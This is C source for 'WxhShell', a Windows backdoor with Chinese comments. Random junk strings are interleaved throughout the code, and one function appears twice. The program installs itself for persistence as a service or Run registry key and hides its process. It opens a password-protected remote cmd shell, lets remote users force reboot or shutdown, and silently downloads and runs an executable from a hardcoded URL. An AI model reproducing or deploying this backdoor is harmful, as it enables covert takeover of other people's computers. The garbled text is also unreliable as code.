(1,Rq[ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); aVP|:OAj g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); N4To#Q1w NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); tqQ0lv^J ~& 5&s if (!NtQueryInformationProcess) return 0; &Bn; Vi CJ?gjV6 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ^2r}_AX if(!hProcess) return 0; \B2d(=~4 ,z1!~gIal if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; m IzBK]@^ 8sIrG CloseHandle(hProcess); s1vrzze YC]YX H hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <KwK
tgzs if(hProcess==NULL) return 0; ^Q=y^fx1 H\I!J@6g HMODULE hMod; !/}FPM_ char procName[255]; -(w~LT$ " unsigned long cbNeeded; bV`C;RPn b%;59^4AjD if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); f9,EWuQNS W3/ 7BW` CloseHandle(hProcess); 6B''9V:s h1XMx'}B if(strstr(procName,"services")) return 1; // 以服务启动 ?{: D,{+ cVay=5]. return 0; // 注册表启动 ?Hi}nsw } v'@b. R, Q0cY/'>4 // 主模块 N\q)LM !M int StartWxhshell(LPSTR lpCmdLine) i~)NQmH< { ole|J SOCKET wsl; XocsSs BOOL val=TRUE; f>r3$WKj int port=0; rer|k<k;]G struct sockaddr_in door; n}A?jOSAe ]G0dS
Fh{j if(wscfg.ws_autoins) Install(); '_qQrP# rKzlK 'U port=atoi(lpCmdLine); P>Q{He: %l}Q?Z if(port<=0) port=wscfg.ws_port; 0)AM-/" BF36V\ WSADATA data; HK0::6n{ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;
j/9WOIfa \2Og>{"U if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Xlv#=@;O] setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); -\kXH"% door.sin_family = AF_INET; a jQqj. door.sin_addr.s_addr = inet_addr("127.0.0.1"); efjO8J[uk- door.sin_port = htons(port); .Z=Ce! 8geek$FY x if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { YOV : closesocket(wsl); 5g``30:o return 1; WRD
A ` } [5Fd P0 >?5xDbRj if(listen(wsl,2) == INVALID_SOCKET) { dTN$y\
closesocket(wsl); CV&zi6 return 1; 8/3u/ } dL_QX,X-] Wxhshell(wsl); [?chK^8 WSACleanup(); ATXF,o1 F>dwL bnb return 0; :N@U[Wx0A %bP~wl~ } `c"4PU^ k6Ihc?HL // 以NT服务方式启动 gYatsFyL VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) hH%,!tSx { -J,Q;tj DWORD status = 0; B0oxCc/'sZ DWORD specificError = 0xfffffff; $PSY:Zz Q.,DZp serviceStatus.dwServiceType = SERVICE_WIN32; (0i'Nb" serviceStatus.dwCurrentState = SERVICE_START_PENDING; n%/i:Whs serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ImIqD&a-h serviceStatus.dwWin32ExitCode = 0; 1^C|k(t serviceStatus.dwServiceSpecificExitCode = 0; yl-fbYH serviceStatus.dwCheckPoint = 0; /_V'DJV serviceStatus.dwWaitHint = 0; dv;9QCc' P:sAqvH6 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); +z\\VD if (hServiceStatusHandle==0) return; I>A^I ]gu1# status = GetLastError(); 6Rcua<;2P if (status!=NO_ERROR) ~TDzq -U) { 4`nqAX~'f serviceStatus.dwCurrentState = SERVICE_STOPPED; ]cIu|bRO serviceStatus.dwCheckPoint = 0; ~,ynJ]_aJB serviceStatus.dwWaitHint = 0; ./l|8o serviceStatus.dwWin32ExitCode = status; .APVjqG serviceStatus.dwServiceSpecificExitCode = specificError; }A|))Ao| SetServiceStatus(hServiceStatusHandle, &serviceStatus); Wo{K} return; 0G5'Y;8 } x>%joKY[ E0QPE5_ serviceStatus.dwCurrentState = SERVICE_RUNNING; AD]e0_E serviceStatus.dwCheckPoint = 0; =3*Jj`AV serviceStatus.dwWaitHint = 0; |rMq;Rgu? if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); n)#Lh
7X" } @\)fzubu 9e~WK720= // 处理NT服务事件,比如:启动、停止 Z_FNIM0f VOID WINAPI NTServiceHandler(DWORD fdwControl) c/
_yMN { -vV'Lw( switch(fdwControl) 3DW3LYo{ { BCx!0v?9 case SERVICE_CONTROL_STOP: `<^*jB@P serviceStatus.dwWin32ExitCode = 0; u_.HPA serviceStatus.dwCurrentState = SERVICE_STOPPED; ]:&n-&@L serviceStatus.dwCheckPoint = 0; ^'vIOq-1v serviceStatus.dwWaitHint = 0; B7HQR{t { >uTPjR[ SetServiceStatus(hServiceStatusHandle, &serviceStatus); [Tb\woU } 3 jF|Ic return; -#aZF2z case SERVICE_CONTROL_PAUSE: 'M8aW!~ serviceStatus.dwCurrentState = SERVICE_PAUSED; Wr5 Q5s)c break; hK(tPl$ case SERVICE_CONTROL_CONTINUE: x=-0 zV serviceStatus.dwCurrentState = SERVICE_RUNNING; =EW3&+Lt break; vX+.e1m case SERVICE_CONTROL_INTERROGATE: qD-fw-,: break; [ ?iqqG. }; ^av6HFQ SetServiceStatus(hServiceStatusHandle, &serviceStatus); :a.0hes } $n-Af0tK 0z`/Hn // 标准应用程序主函数 nUc;/ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) VD$Eb { mV?&%>*(f rJQ=9qn\ // 获取操作系统版本 Jx$iwu OsIsNt=GetOsVer(); .x}gg\ GetModuleFileName(NULL,ExeFile,MAX_PATH); ;,XyN+2H ;/'|WLI9 // 从命令行安装 =Vb~s+YW if(strpbrk(lpCmdLine,"iI")) Install(); q[ULGv .:y5U}vR // 下载执行文件 ^s{hs(8%R if(wscfg.ws_downexe) { :p>hW!~ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Ma6W@S WinExec(wscfg.ws_filenam,SW_HIDE); ]p]UTCo!' } Hx
%$X 9#k0_vDoW if(!OsIsNt) { b9Y_!Qe // 如果时win9x,隐藏进程并且设置为注册表启动 aMTFW_w HideProc(); ^Kqf~yS% StartWxhshell(lpCmdLine); Au.:OeJm } I@\+l6&#; else 5G(E&>~ if(StartFromService()) DM),|Nq" // 以服务方式启动 c?K~/bx. StartServiceCtrlDispatcher(DispatchTable); 40#9]=;} else LA4<#KP // 普通方式启动 ;`(R7X
*3 StartWxhshell(lpCmdLine); MBw-*K'?zB CPviR<ms_ return 0; NTmi 2c } WUEHB \Q&,ISO\ %8mm Hh +E5=$` =========================================== h*w6/ZL1 f:woP7FP @{d\j]Nw <7)Fh*W@ G[Tl%w kl}Xmw{tJ " _xrwu;o0} ,9of(T(~ #include <stdio.h> :243 H #include <string.h> ~R]35Cp-# #include <windows.h> "A3dvr #include <winsock2.h> )TJS4? #include <winsvc.h> 2e1]}wlK #include <urlmon.h> 27D!'S _A+w#kiv> #pragma comment (lib, "Ws2_32.lib") 4=[7Em?oLb #pragma comment (lib, "urlmon.lib") x /mp=
L{8;Ud_2r #define MAX_USER 100 // 最大客户端连接数 $_D6_|HK #define BUF_SOCK 200 // sock buffer 6f)2 F<
7 #define KEY_BUFF 255 // 输入 buffer HpW 42 SVWIEH0? #define REBOOT 0 // 重启 $t/rOo9cV #define SHUTDOWN 1 // 关机 ;inzyFbL= p_2pU)% #define DEF_PORT 5000 // 监听端口 D WiBG L":bI&V?: #define REG_LEN 16 // 注册表键长度 _P7tnXww #define SVC_LEN 80 // NT服务名长度 ~i0R^qfr SJ?)%[(T // 从dll定义API #VGjCEeU typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); b]Z@^<_E typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); A??@AP[7M typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); }#`:Qb \U typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @f1*eo5f V[;M&=," // wxhshell配置信息 y\c"b-lQX struct WSCFG { ,Zf
9RM int ws_port; // 监听端口 o[\HOe~; char ws_passstr[REG_LEN]; // 口令 p9qKLJ*.C int ws_autoins; // 安装标记, 1=yes 0=no $m| V :/ char ws_regname[REG_LEN]; // 注册表键名 v;EQ, NL char ws_svcname[REG_LEN]; // 服务名 <a^Oj LLU char ws_svcdisp[SVC_LEN]; // 服务显示名 BR5BJX char ws_svcdesc[SVC_LEN]; // 服务描述信息 LT@OWH char ws_passmsg[SVC_LEN]; // 密码输入提示信息 1X1 NtS@ int ws_downexe; // 下载执行标记, 1=yes 0=no </"4 zD| char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Ao9R:|9 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 S :bC[}
aelO3'UN }; _5Bcwa/ &^".2)zU // default Wxhshell configuration O;9?(:_ struct WSCFG wscfg={DEF_PORT, ExBUpDQc "xuhuanlingzhe", 8wZf]_ 1, PWr(*ZP>hI "Wxhshell", =8{WZCW5 "Wxhshell", +A8j@d#: "WxhShell Service", MGpt}|t- "Wrsky Windows CmdShell Service", ;#/@+4@a& "Please Input Your Password: ", MCTsi:V>+ 1, IE2"rQ T "http://www.wrsky.com/wxhshell.exe", !CTxVLl"F "Wxhshell.exe" J([s5:.[ }; Z|lU8`'5 s1N?/>lmB // 消息定义模块 t=
#&fSR char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 9xI GV! char *msg_ws_prompt="\n\r? for help\n\r#>"; U(>4s]O6 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 6IcNZ!j98 char *msg_ws_ext="\n\rExit."; cre;P5^E char *msg_ws_end="\n\rQuit."; J3RB]O_ char *msg_ws_boot="\n\rReboot..."; <O<LYN+( char *msg_ws_poff="\n\rShutdown..."; Z8O n%Mx{" char *msg_ws_down="\n\rSave to "; c}Z6V1]QP r,1e 'd: char *msg_ws_err="\n\rErr!"; }T2xXbU char *msg_ws_ok="\n\rOK!"; D;}xr_ pKUP2m`MW char ExeFile[MAX_PATH]; K5>p89mZ int nUser = 0; 2}6%qgnT- HANDLE handles[MAX_USER]; l |2D/K5 int OsIsNt; V9yl4q-bL s^Nw%KAv SERVICE_STATUS serviceStatus; - YqYcer SERVICE_STATUS_HANDLE hServiceStatusHandle; b}^S.;vNj LpbsYl // 函数声明 v X~RP
* int Install(void); $ ,Ck70_ int Uninstall(void);
mEG6 int DownloadFile(char *sURL, SOCKET wsh); :ue:QSt(u int Boot(int flag); * |.0Myjo void HideProc(void); gmKGy@] int GetOsVer(void); =WbOwI)u int Wxhshell(SOCKET wsl); Bq\F?zk< void TalkWithClient(void *cs); p9!"O int CmdShell(SOCKET sock); Jzji&A~ int StartFromService(void); f"[J"j8 int StartWxhshell(LPSTR lpCmdLine); *D}0[|O f5*k7fg VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 4S"\~>< VOID WINAPI NTServiceHandler( DWORD fdwControl ); $``1PJoi !LMN[3M_ // 数据结构和表定义 Dr&('RZ4 SERVICE_TABLE_ENTRY DispatchTable[] = 1@48BN8cm' { \*hrW( {wscfg.ws_svcname, NTServiceMain}, PX:'/{V {NULL, NULL} Ks^6.) }; v4,h&JLt ?lGG|9J\ // 自我安装 F_iXd/ int Install(void) -&x2&WE' { 1/1Xk,E char svExeFile[MAX_PATH]; 'VyM{:8 HKEY key; Bs+(L [Z strcpy(svExeFile,ExeFile); h`
U?1xS - O98pi // 如果是win9x系统,修改注册表设为自启动 >2$5eI if(!OsIsNt) { v,-{Z1N%m if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { G'2#9<c* RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -C-?`R RegCloseKey(key); n9w9JXp;! if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `+'rib5 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); x9/H/' RegCloseKey(key); iX u]e;6 return 0; RpWTpT1 } '|]e<Mt- } Q)m4_+,d } ?&G`{Ey else { E1dD7r\ ^'CPM6J // 如果是NT以上系统,安装为系统服务 Xp\/YJOibd SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); OMhef,,H if (schSCManager!=0) h^,8rd { 1wzqGmjmt SC_HANDLE schService = CreateService E#J';tUQ ( Wt)Drv{@ { schSCManager, ;AR{@Fu. wscfg.ws_svcname, ~\ ,w { wscfg.ws_svcdisp, fbyQjvURnC SERVICE_ALL_ACCESS, KoE8Mp SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , T{V/+RM SERVICE_AUTO_START, 8`4<R6]LKB SERVICE_ERROR_NORMAL, ]-oJ[5cQ0v svExeFile, mK+IEZV<3 NULL, {FRAv(,\ NULL, 2"|2a@ NULL, p.ANVA@: NULL, !CXt*/~ NULL ]2# ); bfB\h*XO if (schService!=0) '1,,)U#6E { 5w %_$x CloseServiceHandle(schService); =U8a ?0 CloseServiceHandle(schSCManager); {Q+gZcu strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); )1N 54FNO strcat(svExeFile,wscfg.ws_svcname); ul%h@=n if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Nx{$} RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); TG}*5Z` RegCloseKey(key); 0TfS=scT return 0; tz#gClo } mRB } xe7O/',pa= CloseServiceHandle(schSCManager); I1[g&9, } A7(hw~+@ } u` oq(?| Fk(JSiU return 1; j1_@qns{ } <;E `_b`kzJ // 自我卸载 [SJ6@q int Uninstall(void) R@Gq)P9? { &]
\X]p HKEY key; u0P)7~% .sQ=;w/ZA if(!OsIsNt) { R[49(>7H4 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { d,8mY/S>w RegDeleteValue(key,wscfg.ws_regname); e[sK@jX6 RegCloseKey(key); |F9z,cc" if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { v9Xp97J2 RegDeleteValue(key,wscfg.ws_regname); Z%I RegCloseKey(key); ;'81jbh return 0; jTLSdul+ } z4&iK)x } V9ssH87# } lKEkXO else { ; 7N
Z<k AuR$g7z SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); d
Le-nF if (schSCManager!=0) .{;Y'Zc14S { RI68%ZoL SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); PrudhUI^ if (schService!=0) :
tWU .f# { M xyN\Mq' if(DeleteService(schService)!=0) { J8Yd1.Qj CloseServiceHandle(schService); `%09xMPu CloseServiceHandle(schSCManager); mhW-J6u* return 0; )'*5R <# } 9-]i.y CloseServiceHandle(schService); w8g,a]p } ^F:k3,_[ CloseServiceHandle(schSCManager); DE2a5+^ } rP!#RzL } ]7;\E\o 0* /{4)r return 1; BTM),
w2 } `/HUV&i"S WM)-J^)BJ // 从指定url下载文件 9;?UvOI; int DownloadFile(char *sURL, SOCKET wsh) 54rkC/B> { C>[Uvc HRESULT hr; _|"Y]:j_ char seps[]= "/"; -l%J/ : char *token; |+`c3*PV char *file; ID.n1i3 char myURL[MAX_PATH]; .S(,o. char myFILE[MAX_PATH]; ~+Z{Q25R 1heS*Fwn' strcpy(myURL,sURL); "B_K
XL token=strtok(myURL,seps); cUDoN`fSl, while(token!=NULL) @iEA:?9uX { *xp\4;B
file=token; O@?kT;B token=strtok(NULL,seps); ' oFxR003 } 3s"0SLS4 "*,XL
uv> GetCurrentDirectory(MAX_PATH,myFILE); QXF
aAb=(7 strcat(myFILE, "\\"); 5=e@d:Sz strcat(myFILE, file); WcC?8X2 send(wsh,myFILE,strlen(myFILE),0); JWA@+u*k send(wsh,"...",3,0); `# sTmC) hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); F4Y@
B if(hr==S_OK) %T7nO %p return 0; 5s{ABJ\@V else 0euuT@_$ return 1; )"+(butI& !?^b[
nC% } 2>*%q%81 e[Abp~@M1 // 系统电源模块 =TqQbadp int Boot(int flag) yjJ5P`j] { /O]t R HANDLE hToken; D5~n/.B" TOKEN_PRIVILEGES tkp; $ "Bh]- GWvH[0 if(OsIsNt) { 8( btZt OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); XT;u<aJs LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); -R{V- tkp.PrivilegeCount = 1; si4don tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; *!^<m0 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); mqq;H} if(flag==REBOOT) { u !!X6< if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) fAB e return 0; P]z[v)} } xnE|Umz else { f-nz{U if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) V]EtwA return 0; ["}rk } JF/,K"J } ![f ![l else { J~(Wf%jM~ if(flag==REBOOT) { vf4{$Oag if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 7)%+=@ return 0; .CSS}4 } 2c?qV else { zXsc1erli if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) oq*N_mP0
return 0; UJs$q\#RO } JMdPwI } r <
cVp^ 3Tq\BZ return 1; ^9-&o } X>?b#Eva n&A'C\ // win9x进程隐藏模块 ^T~gEv void HideProc(void) CIVnCy z { -l}IZY [=%TnT+^9 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); _20#2i& if ( hKernel != NULL ) i_][PTH { w{k)XY40sW pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); dJ?XPo"Cm= ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
y<C<_2 FreeLibrary(hKernel); /.M+fr S } 9Ct` ~afg)[( return; ddVa.0Z!< } G^"Vo x4 KN"S?i]X // 获取操作系统版本 T;L>P[hNn int GetOsVer(void) hm<}p&!J { N8`?t5 OSVERSIONINFO winfo; Z0De!?ALV\ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
lWm' GetVersionEx(&winfo); Nm):9YQ/ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 1N2,mo?2 return 1; _Jv
9F8v else &Z?ut*%S return 0; 6oSQQhge } c%*($)# l^J75$7 // 客户端句柄模块 OGiV{9U int Wxhshell(SOCKET wsl) 8P:
Rg%0) { jPnM>= SOCKET wsh; }3R13 struct sockaddr_in client; XYoIFv?' DWORD myID; :fk2]{KTL
'8j$';&` while(nUser<MAX_USER) HG'{J ^t { y0~Ia:y int nSize=sizeof(client); 5X.e*; wsh=accept(wsl,(struct sockaddr *)&client,&nSize); fJZp?e" if(wsh==INVALID_SOCKET) return 1; S(aZ4{a@ t:LcNlN| handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); VOsqJJ3 if(handles[nUser]==0) p$7#}s closesocket(wsh); 9z?oB&5 else q %A?V_ nUser++; )5fQ$<(Z } HyiFy7j WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); .}')f;jH5< !se0F.K return 0; /WPv\L } v}^5Rp&m 22(*J< // 关闭 socket .lhn;*Yi void CloseIt(SOCKET wsh) ^[Cv26 { w<9>Q1( closesocket(wsh); 5BR5X\f0 nUser--; juBw5U< ExitThread(0); ;d$qc<2uA } VGL#!4wK ~"Gf<3^y+ // 客户端请求句柄 d7Ur$K\=y void TalkWithClient(void *cs) 1xf=_F0`& { ,%bhyww< U=sh[W SOCKET wsh=(SOCKET)cs; i~J;G#b char pwd[SVC_LEN]; NvjJb-u char cmd[KEY_BUFF]; ?t@v&s char chr[1]; B~'MBBD" int i,j; 0:KE@= e$c?}3E!z while (nUser < MAX_USER) { (SVWdgb -oz`"&% if(wscfg.ws_passstr) { ^BZkHAp if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); bU 63X={ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0^'B3$> //ZeroMemory(pwd,KEY_BUFF); 0i[zup i=0; \bCX=E- while(i<SVC_LEN) { 8
6QE/M @+U,Nzd // 设置超时 H(0q6~| fd_set FdRead; UkCnqNvx struct timeval TimeOut; /\mKY%kyh FD_ZERO(&FdRead); zT~B6 FD_SET(wsh,&FdRead); (wRBd TimeOut.tv_sec=8; HEqWoV]{d TimeOut.tv_usec=0; K7I&sS^x int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 04!(okubyp if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 7:=5"ScV O$`UCq if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); x}$e}8|8YL pwd=chr[0]; *p ? e.%nd if(chr[0]==0xd || chr[0]==0xa) { $3=:E36K pwd=0; H]<]^Zmjy break; (UNtRz'=; } B6Ej{q^k, i++; ~fz[x 9\ } $N$ FtpB 1-I
Swd'u // 如果是非法用户,关闭 socket *5%*|> if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); vjViX<#(V } puJ#w1!x` !/K8xD$ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); :<#`_K~' send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); gM;}#>6 XM
Vq-8B0 while(1) { [AEBF2OIv TY;U2.Ud ZeroMemory(cmd,KEY_BUFF); NCA{H^CL
@D`zKYwX1 // 自动支持客户端 telnet标准 i`%. j=0; ;)DzCc/ while(j<KEY_BUFF) { z}}]jR\y? if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]Gc3Ea;4 cmd[j]=chr[0]; g(0;[#@ if(chr[0]==0xa || chr[0]==0xd) { P2n2Qt2 cmd[j]=0; MrE<vw@he break; Ni[4OR$-O } UkR3}{i j++; guN4-gGDr< } c)C 5KaiPG IN^9uL]B // 下载文件 4lc)& if(strstr(cmd,"http://")) { KGZ?b2N?Va send(wsh,msg_ws_down,strlen(msg_ws_down),0); _J?SIm if(DownloadFile(cmd,wsh)) zW{ 6Eg send(wsh,msg_ws_err,strlen(msg_ws_err),0); v@ONo?) else 0/]_nd send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !>;w!^U } ].DY" else { G=M] 8+h rFag@Z"[" switch(cmd[0]) { 9rj('F&1 4E"d / // 帮助 >M^&F6 case '?': { \ 3NS>v[1 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); GXb47_b^ break; jOv"< } M|CrBJv+F // 安装 >7-y#SkXdo case 'i': { m^$5K's& if(Install()) I{n;4? send(wsh,msg_ws_err,strlen(msg_ws_err),0); '_Wt}{h else q@ Kk\m send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *8!w&ME+. break; WEa>)@ } 4UCwT1 // 卸载 nTZ> |R) case 'r': { S!j^|! if(Uninstall()) wkT;a&_ send(wsh,msg_ws_err,strlen(msg_ws_err),0); J9@}DB else 5gNLO\ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `mErF%b break; huAyjo } \y*j4 0 // 显示 wxhshell 所在路径 vj3isI4lU case 'p': { *C_[jk@6 char svExeFile[MAX_PATH]; O<`R~ strcpy(svExeFile,"\n\r"); &telCg: strcat(svExeFile,ExeFile); _om[VKJd send(wsh,svExeFile,strlen(svExeFile),0); w??c1) break; nUqy1( } )Xno|$b5Eo // 重启 '0Zm#g case 'b': { XV2=8#R send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); yisLypM* if(Boot(REBOOT)) w`#fH send(wsh,msg_ws_err,strlen(msg_ws_err),0); nYov>x] else { [_%,6e+ closesocket(wsh); T'R,vxP)\ ExitThread(0); ;5M<j3_* } :VFTVmr break; fOW_h } F50JJZ // 关机 G^KC&
case 'd': { {bTeAfbf] send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); jM\ %$_/ if(Boot(SHUTDOWN)) K`gc 4:A send(wsh,msg_ws_err,strlen(msg_ws_err),0); Qu}N:P9l?X else { %]GV+!3S closesocket(wsh); )OUU]MUH ExitThread(0); #11RLvDQd } WY.5K
=} break; JjDS"hK# } JX&~y.F // 获取shell wiBuEaUkW case 's': { -$ali[ CmdShell(wsh); ! OfO:L7- closesocket(wsh); paYz[Xq ExitThread(0); ^?sSx!:bZ break; #W^_]Q=5R' } 2$DSBQEx // 退出 BJIFl!w case 'x': { f\=6I3z send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); D8 wG!X CloseIt(wsh); z"3H{ A break; Xr2 Wa } U2=hSzY // 离开 ax]9QrA case 'q': { K
/ZHJkJ7 send(wsh,msg_ws_end,strlen(msg_ws_end),0); }
Ab_o#Zy closesocket(wsh); 6>lW5U^yA\ WSACleanup(); 'F<Sf:?.p exit(1); %\l0-RA@< break; &&*wmnWCS{ } [[$Mh_MD } dL(4mR8 } D0KELAcY ]eD [4Y\#t // 提示信息 }M="oN~w if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); YZ{;%&rB } d>~`j8,B } acy"ct*I 4zwif& return; 5Ny0b|+p } 6<+8}`@B>G X;5 S // shell模块句柄 vS2(Q0+TZi int CmdShell(SOCKET sock) rSbQ}O4V { >["Kd.ye STARTUPINFO si; "|\94 ZeroMemory(&si,sizeof(si)); 3} l; si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; z(r"JNO@ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ]svw
CPu C PROCESS_INFORMATION ProcessInfo; zM)M_L char cmdline[]="cmd"; I>!|3ElT CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); .$OjUlzr-H return 0; 5 5a@)>h } +
p'\(Z( @}Pw0vC // 自身启动模式 s?HsUD$b int StartFromService(void) r@;$V_I { '2j~WUEmg typedef struct sgR
9d { zEAx:6`c DWORD ExitStatus; 4bWfx_0W DWORD PebBaseAddress; }el,^~ DWORD AffinityMask; &4[<F"W>47 DWORD BasePriority; `c> A>c| ULONG UniqueProcessId; Aw5K3@Ltz ULONG InheritedFromUniqueProcessId; QZz&1n } PROCESS_BASIC_INFORMATION; nWd:>Ur "NlRSc# PROCNTQSIP NtQueryInformationProcess; $F<%Jl7_Z qP@L(_=g static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~y`Pwj static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;
-\5[Nq{N Z#%}K
Z HANDLE hProcess; }D(DU5r PROCESS_BASIC_INFORMATION pbi; ,CN#co ?#x'_2 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); N" 8*FiZ| if(NULL == hInst ) return 0; Bc5YW-QD 01'y^`\xQ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); |yuGK g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); V#+126 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); _3*: y/M_ e_tZja2s if (!NtQueryInformationProcess) return 0; iz,]%<_PE 5^bh.uF hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 3KB|NS if(!hProcess) return 0; V,`!rJ ~D$#>'C# if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 9T?~$XlX wA{*W>i CloseHandle(hProcess); LNWqgIq {H/8#y4qp& hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Cln^ 1N0 if(hProcess==NULL) return 0; <aD'$(N5 jt0H5-x HMODULE hMod; pW`ntE#L char procName[255]; xzuPie\ unsigned long cbNeeded; gF$1wV]e !k4 }v'= if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, 